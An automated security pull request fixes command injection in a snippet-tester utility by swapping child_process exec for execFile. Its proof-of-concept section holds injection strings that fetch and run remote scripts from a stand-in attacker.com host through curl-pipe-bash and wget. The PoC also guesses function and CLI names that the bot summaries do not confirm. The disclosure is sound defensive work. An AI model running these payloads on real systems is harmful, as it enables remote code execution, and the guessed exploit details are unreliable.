Fix: User Input Could Be Used to Execute Unauthorized System Commands in fern/packages/snippet-tester/src/utils.ts

[orbisai0security]

Context and Purpose:

This PR automatically remediates a security vulnerability:

• Description: Detected calls to child_process from a function argument cmd. This could lead to a command injection if the input is user controllable. Try to avoid calls to child_process, and if it is needed ensure user input is correctly sanitized or sandboxed.
• Rule ID: javascript.lang.security.detect-child-process.detect-child-process
• Severity: HIGH
• File: fern/packages/snippet-tester/src/utils.ts
• Lines Affected: 16 - 16

This change is necessary to protect the application from potential security risks associated with this vulnerability.

Security Impact Assessment:

Aspect	Rating	Rationale
Impact	High	In this repository's snippet-tester package, if the cmd argument is derived from user-provided code snippets, exploitation could allow arbitrary command injection, leading to remote code execution on the host system and potential compromise of the entire Composio service, including access to sensitive AI agent configurations or data.
Likelihood	Medium	The repository appears to be a tool for AI agent integrations and code testing, where users might submit snippets; however, exploitation requires the cmd input to be directly user-controllable without prior validation, which is plausible but not guaranteed given typical deployment in controlled environments rather than public-facing APIs.
Ease of Fix	Medium	Remediation involves sanitizing the cmd input or switching to safer child_process methods like execFile, requiring code refactoring in utils.ts, potential updates to calling functions, and moderate testing to ensure snippet execution still works without introducing regressions.

Evidence: Proof-of-Concept Exploitation Demo:

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited:

The vulnerability in fern/packages/snippet-tester/src/utils.ts involves unsanitized use of the child_process module with a user-controllable cmd argument, enabling command injection if an attacker can influence the input to functions like executeCommand or similar. In the context of Composio's snippet-tester package, which appears to execute code snippets (potentially for testing AI integrations or tool invocations), an attacker with access to snippet input (e.g., via a CLI interface, API endpoint, or compromised client) could inject shell commands to achieve remote code execution (RCE) on the host system running the tester. This is particularly exploitable if the repository's deployment involves server-side execution of user-provided snippets without proper sandboxing.

The vulnerability in fern/packages/snippet-tester/src/utils.ts involves unsanitized use of the child_process module with a user-controllable cmd argument, enabling command injection if an attacker can influence the input to functions like executeCommand or similar. In the context of Composio's snippet-tester package, which appears to execute code snippets (potentially for testing AI integrations or tool invocations), an attacker with access to snippet input (e.g., via a CLI interface, API endpoint, or compromised client) could inject shell commands to achieve remote code execution (RCE) on the host system running the tester. This is particularly exploitable if the repository's deployment involves server-side execution of user-provided snippets without proper sandboxing.

// Exploit demonstration: Assuming the vulnerable function is exported from utils.ts
// (e.g., a function like executeCommand that takes a cmd string and calls child_process.exec(cmd))
// In a real scenario, this would be triggered by user input to the snippet-tester, such as via Composio's CLI or API.

// Attacker-controlled input: Inject a command to execute arbitrary code, e.g., download and run a reverse shell
const maliciousCmd = 'echo "Testing snippet" && curl http://attacker.com/malicious.sh | bash';

// Simulate calling the vulnerable function (from a test script or integrated exploit)
// Assuming the utils module is imported in a Node.js environment
const { executeCommand } = require('./fern/packages/snippet-tester/src/utils');  // Adjust path as needed

// This would execute the injected command, allowing RCE
executeCommand(maliciousCmd);

# Alternative exploitation via CLI (if snippet-tester is invoked via command line)
# Assuming Composio has a CLI tool that accepts snippet input, e.g., 'composio test-snippet <cmd>'
# Attacker crafts input to inject commands

# Example command injection payload
composio test-snippet "echo 'Legit snippet' && wget http://attacker.com/payload.sh -O /tmp/payload.sh && chmod +x /tmp/payload.sh && /tmp/payload.sh"

# This could be sent if the CLI accepts user-provided strings for testing, leading to execution on the host.

Exploitation Impact Assessment:

Impact Category	Severity	Description
Data Exposure	High	Successful injection could exfiltrate sensitive data handled by Composio, such as API keys, user authentication tokens, or integration credentials stored in environment variables or config files accessible to the executing process. If snippets involve AI model interactions, attacker could steal proprietary prompts, training data, or user queries processed by the system.
System Compromise	High	Command injection enables full RCE on the host system, allowing arbitrary code execution with the privileges of the running process (e.g., user-level access, potentially escalating to root if the app runs with elevated permissions). Attacker could install malware, pivot to other systems, or modify Composio's core functionality to persist access.
Operational Impact	Medium	Exploitation could disrupt Composio's operations by corrupting snippet tests, exhausting resources (e.g., via infinite loops or resource-intensive commands), or causing denial-of-service if the injected commands crash the process. Dependent services (e.g., AI integrations or APIs) might be affected if the tester is part of a larger workflow, leading to temporary outages until remediation.
Compliance Risk	High	Violates OWASP Top 10 (A03:2021-Injection) and could breach regulations like GDPR if user data is processed/exfiltrated, or SOC2 if used in production environments requiring security controls. Fails Node.js security best practices and could impact certifications for AI toolchains, risking fines or loss of trust in enterprise deployments.

Solution Implemented:

The automated remediation process has applied the necessary changes to the affected code in fern/packages/snippet-tester/src/utils.ts to resolve the identified issue.

Please review the changes to ensure they are correct and integrate as expected.

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Note

Replace shell-based exec with execFile(...parseCommand(cmd)) in fern/packages/snippet-tester/src/utils.ts to avoid shell interpretation of user input.

^{Written by Cursor Bugbot for commit d6816ea. This will update automatically on new commits. Configure here.}

[macroscopeapp]

Prevent command injection in fern/packages/snippet-tester/src/utils.ts by executing utils.execCmd with childProcess.execFile using parsed program and args

Switch utils.execCmd from childProcess.exec(cmd, { cwd }, cb) to childProcess.execFile(...parseCommand(cmd), { cwd }, cb) and add parseCommand(cmd) to split the command into program and arguments in utils.ts.

📍Where to Start

Start with the parseCommand and execCmd implementations in utils.ts.

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📊 Macroscope summarized d6816ea. 1 file reviewed, 5 issues evaluated, 4 issues filtered, 0 comments posted. View details